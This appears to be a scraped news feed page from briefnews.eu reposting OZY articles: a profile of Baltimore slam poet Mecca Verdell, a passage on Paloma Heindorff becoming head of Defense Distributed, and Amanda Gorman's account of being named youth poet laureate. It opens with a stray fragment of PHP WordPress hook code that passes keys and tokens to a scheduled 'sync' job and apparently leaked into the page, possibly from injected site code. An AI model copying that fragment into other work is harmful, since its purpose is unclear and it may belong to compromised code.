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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Poet – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 27 Dec 2018 06:29:02 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Poet – Brief News https://briefnews.eu 32 32 This Poet Slams the Competition. Is Broadway Next? https://briefnews.eu/this-poet-slams-the-competition-is-broadway-next/ https://briefnews.eu/this-poet-slams-the-competition-is-broadway-next/#respond Thu, 27 Dec 2018 06:29:02 +0000 http://briefnews.eu/this-poet-slams-the-competition-is-broadway-next/ Hands clasped, Mecca Verdell paces slowly under the park’s fluorescent street lights. Night has fallen in Baltimore. Firm and commanding, she launches — from zero to 60 — into the combative opening lines of “Petty,” a poem that unpacks her complicated relationship with her father. Eyes wide, her voice drips with sarcasm as notes of frustration creep into her tone, anger radiating from her like heat waves. “It don’t matter what I say to hurt him,” she says. “The only person who’s roasting is me.”

Before you know it, she shifts and her pace quickens; Verdell’s voice cracks as she reveals why their relationship is so rocky. Suddenly she is gasping, spitting words out almost in a crescendo. Her anger gives way to raw vulnerability as she pours out verses with urgency — like the words must escape from her body. The performance might feel like a roller coaster for listeners, but Verdell is in control: Her rises and falls are timed with precision.

Though young by standards of the slam poetry world, Verdell (aka Meccamorphosis) is a red-hot talent. As a high school senior, Verdell was called the heart of her Baltimore youth team’s inaugural 2016 victory in Brave New Voices, an international youth poetry competition, during a summer of high-profile slam wins for the city’s teams. Drawing on personal experience, Verdell, 21, uses spoken-word poetry to demand attention on charged social issues — like colorism, sexual assault and the disappearance of Black girls — as Baltimore has wrestled with racial tension and political tumult.

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Already, Verdell has been part of two teams that have won the Southern Fried slam poetry competition. In 2018, she was the first Black woman to become the national underground poetry individual champion (NUPIC) at Southern Fried. She finished among the top 14 in the Women of the World Poetry slam in 2018, after entering the competition on a whim at the last minute. She even beat 12 adults — including four of her mentors — in the semi-finals of Baltimore’s Grand Slam in 2016, says Jacob Mayberry, Verdell’s teammate, mentor and colleague at Dewmore Baltimore, a community organization that develops social justice–oriented poetry clubs in local schools, colleges, churches and prisons. But Verdell’s about more than just her own voice. From 2016 till earlier this year, she hosted an internet radio show called SoapBOX Poetry Radio where she interviewed nationally and locally known writers, giving them a platform to amplify their messages. Verdell also organizes youth-focused open-mic nights in Baltimore and teaches for Dewmore Baltimore.

When you hear her speak, when you hear her truth, when you hear her power, it’s shocking for a lot of people.

Brion Gill, slam poet

Stunned by how much she has achieved, barely out of her teens? Mayberry, who on stage goes by the name Black Chakra, isn’t.

“She is a monster of a different habit,” he says, recalling how Verdell’s transition from a solid youth poet to captivating performer barely took a month because she seized every opportunity to hone the craft.

But not every major change has been as smooth for Verdell, whose family moved around New Jersey about 10 times before she reached high school. As the only one of the five siblings who lived with both of her parents, whose relationship was strained, Verdell couldn’t figure out her role within the family. She flitted among predominantly White schools, where teachers could be insensitive to Black culture. To cope, she became good at turning herself into a “chameleon.” Verdell has a restless mind, so focusing in school was difficult — but acting in plays helped her make sense of these different personalities. Her big debut? Grandma Tzeitel, in a middle school production of Fiddler on the Roof.

In 2012, Verdell moved to Baltimore and attended the all-girls, majority-Black Western High School. For the first time, she belonged, though she had never set foot in the city before. Western didn’t have a theater club, so Verdell followed a friend’s lead and joined the poetry club. Immediately, she caught the bug. Writing poems finally gave Verdell a language to grapple with childhood trauma and mental health challenges she continues to face. Since then, this art form has been both her liberator and her crutch.

But slam poetry isn’t just Verdell’s personal asset; it’s a spark in Baltimore’s fight for equity. “There are lots of ways to heal from trauma, especially the kind of trauma that Baltimore is undergoing and has undergone,” says Gayle Danley, a former national and international poetry slam champion who’s a teaching artist at the Kennedy Center. But the arts, accessible to everyone, offer ways to see the world and process it. There’s always someone who needs your art in Baltimore, a friend had once told Danley, and this well will never run dry.

Verdell calls herself an “organizer of the spirit.” Brion Gill, a mentor and former teammate (whose stage name is Lady Brion), identifies Verdell’s participation in the uprisings after Freddie Gray’s death in 2015 as a transformational moment. As members of Dewmore Baltimore protested, the younger students were encouraged to leave. But Verdell stayed and was arrested alongside her peers. People often look at Verdell’s small stature and expect timidity, says Gill. “But when you hear her speak, when you hear her truth, when you hear her power,” he says, “it’s shocking for a lot of people.”

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Still, her raw talent can be refined. Success is Verdell’s addiction, Mayberry says. She doesn’t always handle failure well, and he’s watched her fall into ruts after teaching classes that don’t go as planned. Verdell is also working on managing her emotions more responsibly while performing so the audience can process her words. You want to control yourself enough to get to the finish line, Verdell explains, and can’t trigger yourself into getting a high score. In slam competitions, a host or organizer usually selects five judges at random from the audience, who score the poet or group on a scale of one to 10. Yet it’s difficult to evoke feelings from a moment of pain without taking the audience back there with her.

Mayberry calls Baltimore the “Golden State Warriors of slam poetry,” because of how many finals the city has made, and Verdell is a player to watch. “Mecca is young, but she’s not afraid to get dirty. She’s scrappy, and she’s sassy and she’s agile,” Danley says. Verdell isn’t afraid to be on the ground when it comes to how she wants to use her poetry as a part of the social justice movement, she says. Gill expects Verdell to “cross-pollinate” her message across mediums like poetry, theater, acting and visual arts, and Mayberry suggests that Broadway could be next, given her multifaceted talents and theater background. But no matter the path, what Verdell wants is clout.

There’s so much talent in Baltimore that’s being swept under the rug, Verdell says, because people don’t know they have a platform. Amid the social tension in Baltimore and the Black community more broadly, everyone is looking for a savior who will take the lead. Verdell wants to help people understand they have this activist within themselves.

She’s doing that, one poem at a time.

Take on America With OZY recently visited Baltimore and invited 100 Black men to discuss the racial and political tension that has plagued the city for years.

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Enlarge / Paloma Heindorff (center) in Austin, announcing herself as the new head of Defense Distributed. (Attorneys Josh Blackman, left, and Chad Flores, right, joined her to field questions about the company’s legal efforts against various states’ attorneys general.) (credit: Nathan Mattise)

Prior to 2015, Paloma Heindorff had never even shot a gun. But last month, on September 25, the nearly three-year employee of Defense Distributed officially stepped into one of the most high profile firearms’ related positions in the US: director of that same 3D-printed guns activist organization.

Like most Defense Distributed employees, little is known about Heindorff even after her introductory press conference. That’s because throughout the organization’s nearly six-year-existence, only one public face has been available to onlookers—that of founder Cody Wilson. But in light of Wilson’s recent arrest and the related allegations of sexual assault against a minor, Defense Distributed felt the need to change both its leadership and public face. And through what she would later call a unanimous decision from the Defense Distributed board of directors and staff, Heindorff became the choice.

“[Cody Wilson] has been an incredibly powerful figure, but this is about an idea,” Heindorff said at the recent press conference when asked about how the organization would move on. “We believe in something, and that something isn’t a man—it’s an idea. And we’re fully committed to that idea”

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In this occasional series, OZY takes to streets and neighborhoods across the globe to ask a simple question: “How was your day?”

Amanda Gorman, 19-year-old sociology major at Harvard
New York City

It was a really big whirlwind. There’s a line from Hamilton: In the eye of a hurricane, there is quiet for just a moment. I felt that was true of my experience.

I woke up at my hotel, Pod 38, earlier than I liked: probably 7 a.m. I hadn’t gotten a lot of sleep because it’s finals week, and that can be pretty hellish at Harvard. I took a Lyft to go on the radio on Hot 97 — I don’t know why I always am, but I was shocked by New York City traffic.

I was interviewed with Hajjar Baban, another finalist for the first-ever national youth poet laureate. We were just talking about the laureate program and a little bit about what I’m doing with OZY — trying to not just be a teen writer, but be a teen leader. I was in the city shadowing my OZY mentor, John Fitzgerald, the co-founder of Sensorium, a creative studio that specializes in virtual reality.

My project is called Generation Empathy. As I was explaining to John, the seed of the project came out of me having this experience on Martin Luther King’s birthday. We were visiting these museums, exhibits, talking about identity, making change. What was really interesting to me was thinking: What if there was a way in which all students, regardless of their ZIP code or socioeconomic status, could have field trips like that?

That was the idea: to create a virtual-reality museum where there were digital portraits of a select handful of young activists. We have these phenomenal change-makers who have these really incredible microphones to talk about society’s problems — what I want to do is highlight the lesser-known ones who are putting themselves on the line and taking risks for what they believe in. If you can give that kind of experience — of paying witness and homage to a teen to inspire another one — you can have that domino effect. And if you can instigate that through virtual reality, which is boundless in geography, the limits are endless.

One thing I’ve been struggling with, though, is which area to focus on. Because that will affect the story I tell. I was talking to John and the team: Do I want to focus it and condense it to one area I’m familiar with, like the West Coast? Or broaden it into a national discourse and what it means to be in a United States of America that doesn’t necessarily feel united at this moment?

I went back on the subway to my hotel, listening to the Hamilton soundtrack — the soundtrack to my very existence at this moment. So I was strutting down the street, and there was this song, “Schuyler Sisters,” which pays honor to New York. And I feel like I’m Benedict Arnold, because I’m from Los Angeles. At home, I never sing that song out loud.

I had to go immediately to Gracie Mansion, the home of Bill de Blasio, mayor of New York. I performed a poem there called Linguistics Rising, which I wrote when Maya Angelou died. I guess you could say it’s about transcendence through literature, very personal about my experience:

I forget
all of what she said
yet when people asked me
to repeat words three times
she understood me
just as she thought Shakespeare knew
how it felt to be molested
Maya knew how it felt to be a Black girl
in Los Angeles carrying a book bag and a speech
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And they announced I was national youth poet laureate. And there was this craziness, of being interviewed, photographed, signing things, talking to people, just a whirlwind of experience. I got in a taxi to go back to my hotel and I never felt such a stillness as I felt then. I almost thought that I couldn’t hear anything.

I went home, had some greasy pizza to eat and called my mom. I felt so grateful, so honored, at the same time so loved, because I know it was a village that helped get me to that point.

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